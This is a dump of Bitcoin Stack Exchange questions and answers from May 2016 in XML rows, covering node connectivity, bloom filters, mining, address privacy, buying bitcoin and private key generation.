  <row Id="43976" PostTypeId="1" AcceptedAnswerId="43978" CreationDate="2016-05-04T16:48:20.173" Score="1" ViewCount="290" Body="&lt;p&gt;Wikipedia Satoshi's page says that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nakamoto continued to collaborate with other developers on the bitcoin software until mid-2010. Around this time, he handed over control of the source code repository and network alert key to Gavin Andresen, transferred several related domains to various prominent members of the bitcoin community, and stopped his involvement in the project.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is the domain transfer information correct? Does anyone know which ones? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://en.wikipedia.org/wiki/Satoshi_Nakamoto&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Satoshi_Nakamoto&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35335" LastActivityDate="2016-05-09T18:22:56.180" Title="Did Satoshi transfer several bitcoin domains before disappearing?" Tags="|privacy|satoshi-nakamoto|satoshi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43977" PostTypeId="2" ParentId="43969" CreationDate="2016-05-04T17:21:10.740" Score="2" Body="&lt;p&gt;Not really. Both use OP_CLTV, in order to recover from a situation where one side refuses to participate in the protocol, but other than that, they're pretty different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoincore.org/en/2016/02/26/zero-knowledge-contingent-payments-announcement/&quot; rel=&quot;nofollow&quot;&gt;ZKCP&lt;/a&gt; has a zero knowledge proof communicated outside of the blockchain. On the other hand, HTLC passes signed transactions back and forth to update a channel.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-05-04T17:21:10.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43978" PostTypeId="2" ParentId="43976" CreationDate="2016-05-04T20:06:51.740" Score="1" Body="&lt;p&gt;I believe it was just bitcoin.org and bitcointalk.org. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;He's the &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=3&quot; rel=&quot;nofollow&quot;&gt;3rd user&lt;/a&gt; on bitcointalk.org. It was transfer to theymos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Correction, bitcointalk.org was not a domain transfer according to Pieter Wuille.&lt;/p&gt;&#xA;" OwnerUserId="26919" LastEditorUserId="26919" LastEditDate="2016-05-09T18:22:56.180" LastActivityDate="2016-05-09T18:22:56.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43979" PostTypeId="2" ParentId="18673" CreationDate="2016-05-04T20:19:40.770" Score="0" Body="&lt;p&gt;According to the wiki, it seems like these are &lt;strong&gt;&quot;Ongoing &quot;addr&quot; advertisements&quot;&lt;/strong&gt; thus unsolicited. &lt;/p&gt;&#xA;" OwnerUserId="26919" LastActivityDate="2016-05-04T20:19:40.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43981" PostTypeId="1" CreationDate="2016-05-05T02:37:09.487" Score="8" ViewCount="14682" Body="&lt;p&gt;Good Evening,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently installed Bitcoin Core v0.12.1 on my home server (running Windows 7) and wanted to allow it to accept incoming connections and used the guide found here: &lt;a href=&quot;https://bitcoin.org/en/full-node#windows-7&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/en/full-node#windows-7&lt;/a&gt; to ensure I did everything that was needed.  Unfortunately, it hasn't been showing any incoming connection and when I used the connection tool recommended in the guide (&lt;a href=&quot;https://bitnodes.21.co/#join-the-network&quot; rel=&quot;noreferrer&quot;&gt;https://bitnodes.21.co/#join-the-network&lt;/a&gt;), it says my server is unreachable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already setup port forwarding for port 8333 to both my server's IP address, 192.168.1.105 (wireless) &amp;amp; 192.168.1.129 (ethernet).  I ran a port scan on the following websites and they all indicate that Port 8333 is open:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ping.eu Port Check&lt;/li&gt;&#xA;&lt;li&gt;WhatMyIP Port Scanner&lt;/li&gt;&#xA;&lt;li&gt;T1 Shopper Port Scanner&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(I would provide links for the above scanners, but I cannot post more than 2 links)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also created two rules in Windows Firewall (under Inbound Rules) with the following properties:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Local Port - 8333&lt;/li&gt;&#xA;&lt;li&gt;Remote Port - All Ports&lt;/li&gt;&#xA;&lt;li&gt;Scope - Local &amp;amp; Remote IP address set to Any IP Address&lt;/li&gt;&#xA;&lt;li&gt;Domain, Public, and Private all checked&lt;/li&gt;&#xA;&lt;li&gt;All programs that meet the specified conditions checked&lt;/li&gt;&#xA;&lt;li&gt;Set to allow the connection&lt;/li&gt;&#xA;&lt;li&gt;Rule is enabled&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are two rules with the above settings, one for TCP and one for UPD.  Even with all the above setup, the &quot;Join the Network&quot; tool on Bitnodes website (second link from the top) still says my node is unreachable and the debug window inside the program shows 0 incoming connections and 8 outgoing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what else needs to be setup since I completed everything in the guide and port 8333 is definitely open.  Any help or information with this issue would be greatly appreciated.  Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dominick&lt;/p&gt;&#xA;" OwnerUserId="35343" LastActivityDate="2022-01-05T19:18:24.320" Title="Allowing Incoming Connection on Bitcoin Core" Tags="|bitcoin-core|connection|port|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43982" PostTypeId="1" CreationDate="2016-05-05T05:19:59.640" Score="1" ViewCount="29" Body="&lt;p&gt;How UNL is created,Can we create a own network and validate all our transactions?&lt;/p&gt;&#xA;" OwnerUserId="35344" LastActivityDate="2016-05-05T05:19:59.640" Title="How UNL is created in Ripple network?" Tags="|ripple|" AnswerCount="0" CommentCount="1" ClosedDate="2016-05-05T19:56:03.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="43983" PostTypeId="2" ParentId="42159" CreationDate="2016-05-05T07:31:58.290" Score="1" Body="&lt;p&gt;There are a lot of examples on the net of using PyAlgoTrade with bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2016-05-05T07:31:58.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43986" PostTypeId="1" AcceptedAnswerId="44051" CreationDate="2016-05-05T22:56:56.703" Score="1" ViewCount="64" Body="&lt;p&gt;When leasing out your nxt balance to another account, can you still use those coins in your main account? Or do you have to wait for it to expire before you can use it again?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-05-10T21:06:37.230" Title="Can leased out nxt coins still be used or do you have to wait for it to expire?" Tags="|nxt|forging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43988" PostTypeId="2" ParentId="43931" CreationDate="2016-05-06T07:46:53.070" Score="1" Body="&lt;p&gt;So, I'm not much of a miner myself, so please take this with a grain of salt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I plug in your numbers into a &lt;a href=&quot;http://tpbitcalc.appspot.com/?difficulty=178659257773&amp;amp;hashrate=11000.00&amp;amp;exchangerate=449.85&amp;amp;bitcoinsperblock=25.00&amp;amp;rigcost=30.00&amp;amp;powerconsumption=800.00&amp;amp;powercost=0.10&amp;amp;investmentperiod=355&quot; rel=&quot;nofollow&quot;&gt;mining calculator&lt;/a&gt;, &lt;code&gt;11Gh/s&lt;/code&gt; resolve to earnings of just below &lt;code&gt;0.001 btc&lt;/code&gt; per month. This corresponds e.g. to the minimal &quot;Send threshold&quot; you can set on Slush pool. It's worth is less than $0.5 (for the whole month), where you probably pay a few cents per hour in electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another help page &lt;a href=&quot;https://slushpool.com/help/#!/manual/monitoring&quot; rel=&quot;nofollow&quot;&gt;Slush pool states&lt;/a&gt; &quot;Permanently Low or Offline state of your worker can be caused by weak worker whose hash rate is below &lt;code&gt;10 Gh/s&lt;/code&gt;. We recommend to switch off monitoring for such workers.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that your hashrate may be so low, that pools don't serve shares at a level where you can succeed, but perhaps you can find out more if you specifically research corresponding to that line of thought.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-05-06T07:46:53.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43989" PostTypeId="1" AcceptedAnswerId="43996" CreationDate="2016-05-06T13:30:45.100" Score="1" ViewCount="272" Body="&lt;p&gt;I'm having a problem with bloom filters when using the &lt;strong&gt;getdata&lt;/strong&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand BIP 37, setting the bloom filter on a connection using the &lt;strong&gt;loadfilter&lt;/strong&gt; message with flag &lt;strong&gt;BLOOM_UPDATE_P2PUBKEY_ONLY&lt;/strong&gt; set, the responding client automatically inserts all outpoints (TXID and output index) in the bloom filter of transactions matching the filter. However, when I attempt to do exactly this, the node only ever sends transactions containing outputs TO the address I am filtering for, never transaction that contain outputs FROM the address I am filtering for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the following public key to the bloom filter: 1JbFvyaMyHHmvvjc54h4YARq3uoX2ZZ4Qj (randomly picked)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Send the &lt;strong&gt;filterload&lt;/strong&gt; message containing the filter (as seen in the wireshark snippet below).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin protocol&#xA;Packet magic: 0xf9beb4d9&#xA;Command name: filterload&#xA;Payload Length: 261&#xA;Payload checksum: 0x2bb02c45&#xA;Filterload message&#xA;    Filter&#xA;        Count: 251&#xA;        Data: 000000040004010000000100000000000000020000400000...&#xA;    nHashFunc: 13&#xA;    nTweak: 0x1a689ff4&#xA;    nFlags: BLOOM_UPDATE_P2PUBKEY_ONLY (0x02)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Send the &lt;strong&gt;getdata&lt;/strong&gt; message with the hash of all blocks containing transactions to and from the wallet (which I have identified on a block explorer for the purpose of testing this). The inventories are typed &lt;strong&gt;MSG_FILTERED_BLOCK&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The node responds with the following messages in order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MerkleBlock: 000000000000000001201ab2679db7c87a432967c060596bad0ac093dac94111&#xA;Tx:......... 187b00588e8d7844c405da9a15d78dbd7ebb9b2887fb5aace6651719fede923e&#xA;Tx:......... dbbca0d839435ac77db65378a9607d17b0aa965f3027d84dcf0ee5115dc8d32f&#xA;Tx:......... 17c12f45956082a913c0c862d573cf067fa5ee96ba5b954914371da6bef51f7f&#xA;Tx:......... 36cce25d34a5da0f7d69253743eae7bb7c576e5543d0eb16db0f72967edb4bc6&#xA;Tx:......... 6ea48c6286b1691cd1ecec271a3f52a3fe099467bb6c926b41ba8942e21d4aa6&#xA;MerkleBlock: 0000000000000000049ee67931f6d4970a7d06b14b8aadd406223ab65efe5025&#xA;MerkleBlock: 0000000000000000019f3fc2c8da43e8a81373ae189ace4caec6c59969f46ff6&#xA;MerkleBlock: 000000000000000000f67dad206798db2e6c5dffec84d213397784be894e66fa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 5 transactions in the list are correct, as the contain outputs targeting said wallet.&#xA;However, block 0000000000000000019f3... contains transactions with inputs from said wallet, but the merkleblock message of this block is not followed by these transactions.&#xA;Shouldn't the node add the outputs of these 5 transactions to the bloom filter, and thereby match the later transactions containing inputs pointing at them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have confirmed that the node is in possession of the relevant transactions.&#xA;If i load the filter manually, adding the outputs myself, this works as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding how BIP 37 is used?&lt;/p&gt;&#xA;" OwnerUserId="35384" LastActivityDate="2021-05-12T13:25:58.203" Title="BIP 37 automatic filter update not inserting outputs" Tags="|wallet|spv|bip37-bloom-filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43990" PostTypeId="1" AcceptedAnswerId="43991" CreationDate="2016-05-06T13:32:00.053" Score="3" ViewCount="4386" Body="&lt;p&gt;I have been trying to understand the protocol and reading related documents, there is a point where i get stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i understand (correct me if not), when a transaction occurs, it is broadcast to the network and some miners receive it. When a certain number of transactions is reached, they are packed in a block and hash race begins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i fail to understand is; in this scheme, don't all the miners have to be in perfect memory coherence and time sync, so that they know when a block is to be sealed and start to iterate for hashes? Or do they not need to mine and hash the same global block, but have separate blocks which are later validated by other miners and interblock transaction collisions don't matter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i misunderstand a very basic point in the protocol, but i can't figure what.&lt;/p&gt;&#xA;" OwnerUserId="35328" LastEditorUserId="35328" LastEditDate="2016-05-30T19:14:05.157" LastActivityDate="2016-05-30T19:14:05.157" Title="How does each miner know when to create a block?" Tags="|blockchain|protocol|block|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43991" PostTypeId="2" ParentId="43990" CreationDate="2016-05-06T13:47:16.573" Score="4" Body="&lt;p&gt;A miner begins creating a new block as soon as it receives a valid block from another miner.  It then begins to construct and hash the next block on top of the block it just received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were correct when you thought that each miner has a separate block from the rest.  Don't look at it as if miners are all cooperating to find a hash for the same block, but rather are competing against each other to make &lt;em&gt;their own&lt;/em&gt; block the next in the chain.  If they find a valid block, they broadcast it, and other miners give up their efforts, and instead focus their hashing power on the next block.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-06T13:47:16.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43993" PostTypeId="2" ParentId="43990" CreationDate="2016-05-06T13:58:26.893" Score="2" Body="&lt;p&gt;Part of your misconception is this: &quot;when a certain number of transactions are reached&quot;.  Mining doesn't need any particular number of transactions; it's legal to have a block with no transactions at all (except for the &quot;coinbase&quot; block reward transaction).  The &quot;hash race&quot; is always going on; it doesn't start and stop.  When a miner gets a new transaction, they just include it with the  transactions they already have, generate a new block header, and continue hashing on the new header.  There is no requirement that all miners be working with the same set of transactions.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-05-06T13:58:26.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43995" PostTypeId="2" ParentId="7447" CreationDate="2016-05-06T15:22:50.803" Score="4" Body="&lt;p&gt;There is no way to prove in the protocol that two address belong in the same wallet when you send from address A to address B in your wallet. Of course, if you are using some kind of online wallet they do know, but I'm assuming you are using a full one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there can be clues that combined can be quite definitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Clues when you send the transaction&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, depending on the amount in address A, sending all funds to B with no change could be a clue that both belong to the same person. This is not a problem if you are sending a round amount like 1 BTC, but if you are sending 0.82421871 BTC and there is no change it is weird unless you are sending all your funds to donate or pay for something without a fixed price. It is the same if you send from A a round amount to another address and B gets a very weird amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Clues after the original transaction&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Spending from both addresses in the same transaction. This is no proof because there are ways to build a transaction with inputs from two wallets, but it is extremely rare.&lt;/li&gt;&#xA;&lt;li&gt;Sending funds between the two addresses frequently, specially if you do it both ways (from A to B and from B to A). This could happen with two parties that work a lot together, but it is a clue of some relation.&lt;/li&gt;&#xA;&lt;li&gt;Sending from both addresses at the same time, even if it is to different addresses (you send two transactions, one from A and another from B, that get to the same block long after you did the original one). It can be a coincidence, but it is one more signal.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. IP address clue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is extremely unlikely, but if you connect to a rogue node that records your IP address when you send from A to B and then you connect to that same rogue node (or another one acting in coordination) when you send from B to somewhere else, it would have the same IP address associated to both addresses. You could avoid this by using Tor or changing your IP address in some other way.&lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-06T15:22:50.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43996" PostTypeId="2" ParentId="43989" CreationDate="2016-05-06T17:08:54.673" Score="0" Body="&lt;p&gt;BLOOM_UPDATE_P2PUBKEY_ONLY means only update the filter with outpoints when the matched transaction is pay-to-pubkey or bare multisig, not p2pkh or others.  I don't know why though, since what you're trying to do is very common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be interested in &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt/pull/139&quot; rel=&quot;nofollow&quot;&gt;this work&lt;/a&gt; in Bitcoin XT which allows a filter to be updated with any unconfirmed ancestors of a matching transaction (to better assess its confirmation prospects).&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2016-05-06T17:08:54.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43997" PostTypeId="1" CreationDate="2016-05-06T20:29:56.517" Score="4" ViewCount="540" Body="&lt;p&gt;One issue with one block chain is that it needs to be globally synchronized. One way to elevate this would be to use multiblock chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely, we can imagine that there are N block chains, working in parallel. To make double spending impossible, a you can only spend a total of 1/N of your total money on each chain. (If they need to spend more, you can do so on multiple chains. This is slower, but hopefully you don't need to do that as often. If, for example, there 10 chains, you have 100 units, and you are buying something for 15 units, you would spend 10 on one chain and 5 on another.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After about 10 blocks or so (specifically when it happens is unspecified for now), a meta-block is mined that ties the chains together. This resets the 1/N limit, and allows money earned on one block to spent on the others. Otherwise, it would just be N different currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each individual block chain can go faster, since they will involve only 1/N of the community. More total blocks also means miners are rewarded more often, and more spread out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this work? Would it verify transactions more often? Do any currencies currently use this?&lt;/p&gt;&#xA;" OwnerUserId="35107" LastActivityDate="2016-06-19T21:30:58.417" Title="Would this scheme allow faster verification of transactions? (Multiple parallel block chains)" Tags="|blockchain|block|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43998" PostTypeId="2" ParentId="43997" CreationDate="2016-05-06T21:03:38.743" Score="1" Body="&lt;p&gt;I'm not sure this is the right forum for this sort of discussion, but I'm not a mod.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, decreasing the transactions in a chain does nothing to make block creation faster.  That is a hard-coded target in the code.  If the hashing power goes down, the difficulty goes down, and it all balances back at 10 minutes.  There's no benefit in terms of confirmation speed from your proposal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total hashing power is also a big factor of overall security.  With your proposal, instead of 1 chain with with hashing power of X, you have N chains each with hashing power of X/N.  It means that the cost to attack a single chain with a 51% attack decreases by a factor of N.  That's not good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also does nothing to solve the problem of centralization of mining power.  Big mining pools will simply diversify their hashing power across all N chains, giving them the same proportional control they currently have.  No benefit there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the complexity that will be required to re-sync the chains, and not really getting any benefit from it, I would say that this idea would not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you may be interested in a similar concept called &lt;a href=&quot;https://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;sidechains&lt;/a&gt;.  You should give that a read, since it might be what you are after.  If you are more interested in instant transactions, I think you would find the &lt;a href=&quot;https://lightning.network/&quot; rel=&quot;nofollow&quot;&gt;Lightning Network&lt;/a&gt; interesting.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastEditorUserId="24974" LastEditDate="2016-05-20T20:55:20.397" LastActivityDate="2016-05-20T20:55:20.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43999" PostTypeId="1" AcceptedAnswerId="44000" CreationDate="2016-05-07T08:41:43.333" Score="3" ViewCount="17712" Body="&lt;p&gt;How can I send bitcoins to someone, without having to purchase them first or set up a wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a service that will send N bitcoins to a given address. I pay them with my credit card or paypal. I don't wish to purchase any bitcoins myself, have a wallet, set up any kind of account, or give anyone my email address. I don't want to know anything about bitcoins beyond my initial instruction to send N bitcoins to a given address. Does such a service exist? &lt;/p&gt;&#xA;" OwnerUserId="35407" LastActivityDate="2021-03-09T20:49:23.843" Title="Can I send Bitcoins without a wallet" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44000" PostTypeId="2" ParentId="43999" CreationDate="2016-05-07T09:46:11.560" Score="2" Body="&lt;p&gt;Buying bitcoins with credit card or Paypal is possible, but usually very expensive because the seller has to cover for the risk of chargeback. Bitcoin transactions are not reversible, so if you dispute the charge the seller is in a very weak position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cex.io&quot; rel=&quot;nofollow&quot;&gt;Cex.io&lt;/a&gt; is an exchange that offers credit card purchases to its clients, but you have to go through several id verification process that will probably make you uncomfortable. After buying you would just need to make a withdrawal to the desired Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are open to using your bank account instead of a credit card, you have more options, but which are available to you will depend on where you are. A couple well known ones are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://litebit.eu&quot; rel=&quot;nofollow&quot;&gt;Litebit.eu&lt;/a&gt;. They accept SEPA bank transfers and a few other lesser known payment methods (iDeal, GiroPay and a few others). You just make the payment and give them the address.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase.com&lt;/a&gt;. They are one the biggest exchanges out there and many people use them as a wallet (they are not wallet because they keep custody, not you, but that is another discussion). You can link their account to your back account and make Bitcoin purchases. You then can send your bitcoins to whoever you want. However, they have closed customer accounts in the past if they detect that you send funds to services they don't consider legal, like gambling sites, so if that is your intention I would not use them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are many more if you make a couple Google searches, but I have mentioned only services that I know have worked well for people I trust.&lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-07T09:46:11.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44001" PostTypeId="1" CreationDate="2016-05-07T09:51:53.260" Score="1" ViewCount="609" Body="&lt;p&gt;A website shows their services can be purchased via Coinbase and Bitpay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for information and found Bitcoin Core from bitcoin.org/en/choose-your-wallet and I think it is very popular among tens of wallet platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between Coinbase and Bitcoin Core? Is there any thing one can do but the other can not?&#xA;If I used an account with Bitcoin Core, will I be able to purchase their services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also Dogecoin, Blackcoin and etc accepted by that company. What made people buying these new kind of coins rather than using Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="35409" LastActivityDate="2016-05-09T12:37:03.993" Title="Coinbase, Bitpay and Bitcoin Core" Tags="|coinbase.com|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44002" PostTypeId="2" ParentId="44001" CreationDate="2016-05-07T11:04:06.527" Score="1" Body="&lt;p&gt;Coinbase.com is a company that buys and sells bitcoins, as well as offers a service to manage your bitcoins for you, much like a bank manages your USD for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, Bitcoin Core is a software that allows you to manage your bitcoins yourself. Bitcoin Core is not a company, so you cannot purchase any services from them.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-05-07T11:04:06.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44003" PostTypeId="1" AcceptedAnswerId="44019" CreationDate="2016-05-07T14:59:51.607" Score="0" ViewCount="1243" Body="&lt;p&gt;From what I've read, a Bitcoin private key is a 32 byte long integer. I take this to mean that to have a valid private key, all I need is 32 random bytes and that, by extension, running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=/dev/urandom bs=1 count=128 | sha256sum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will give me a perfectly secure private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct or have I missed something important?&lt;/p&gt;&#xA;" OwnerUserId="35413" LastActivityDate="2016-05-09T00:19:19.603" Title="Will hashing bytes from /dev/urandom yield a secure private key?" Tags="|private-key|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44004" PostTypeId="2" ParentId="44001" CreationDate="2016-05-07T16:10:20.463" Score="1" Body="&lt;p&gt;Coinbase and Bitpay are companies that offer payment processing services for other companies, like the website you mention. They manage for them all the things related with the payments in Bitcoin. Usually the business will open an account with them and they will provide tools to accept Bitcoin in the website. They will store the bitcoins for the business, send them where it says or even exchange them for dollars or euros if that is what the business wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core, on the other side, is a wallet. A business can use it to store its bitcoins if it wanted, but it doesn't have anything that will facilitate accepting Bitcoin in a website (except having an address). A good practice for anyone accepting Bitcoin payments through a payment processor is to have them sent to the business local wallet (which could be Bitcoin Core or any other) after the purchase. This way, the business has full control of those coins instead of having them stored by the payment processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user can also use the Bitcoin Core wallet. When trying to purchase from a website that accepts Bitcoin, you will get an address to which you have to send the payment. That you can do from Bitcoin Core or any other wallet you use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, Coinbase also offers something similar to a wallet to anyone who wants it. I say &quot;similar to a wallet&quot; because they have a system in which they keep control of the bitcoins, not the user, so it can't be really called a wallet. It is just a website that lets you manage bitcoins that are tied to the account you have there, but they have the custody of the funds.&lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-07T16:10:20.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44005" PostTypeId="1" CreationDate="2016-05-07T17:17:44.690" Score="2" ViewCount="347" Body="&lt;p&gt;Bitcoin is key based. Although it is possible to &lt;a href=&quot;https://en.wikipedia.org/wiki/PBKDF2&quot; rel=&quot;nofollow&quot;&gt;convert a password into a key&lt;/a&gt;, publishing the public key makes it vulnerable to brute force. Currently, passwords are used with Bitcoin, but only to protect keys (if the key is lost, your money is lost. Publishing the key in a public place is bad idea because brute force.) Is there a way to you can use passwords, but make checking the password require mining a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, is there a way to make it so that it is impossible to know if a transaction signed with a password is correct &lt;em&gt;unless its part of a mined block&lt;/em&gt;? This way, even if your password only requires 1,000,000 tries to crack, the attacker needs to mine 1,000,000 blocks to bruteforce the password?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In particular, once they have mined a block, if you change the password, the proof of work becomes invalid, and you need to generate a new one before you can check the new password.&lt;/li&gt;&#xA;&lt;li&gt;Although it is tempting to say that blocks with invalid passwords are invalid (so our malicious miner doesn't even get to keep what he mined), this would put honest miners at risk of receiving invalid transactions and losing their mined coins. Therefore, invalid transactions would just have to be ignored.&lt;/li&gt;&#xA;&lt;li&gt;Users could change their password by simply creating a new account and transferring their funds to that.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Does any cryptocurrency currently do this?&lt;/p&gt;&#xA;" OwnerUserId="35107" LastActivityDate="2016-05-08T14:18:26.060" Title="Can you have a password based cryptocurrency?" Tags="|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
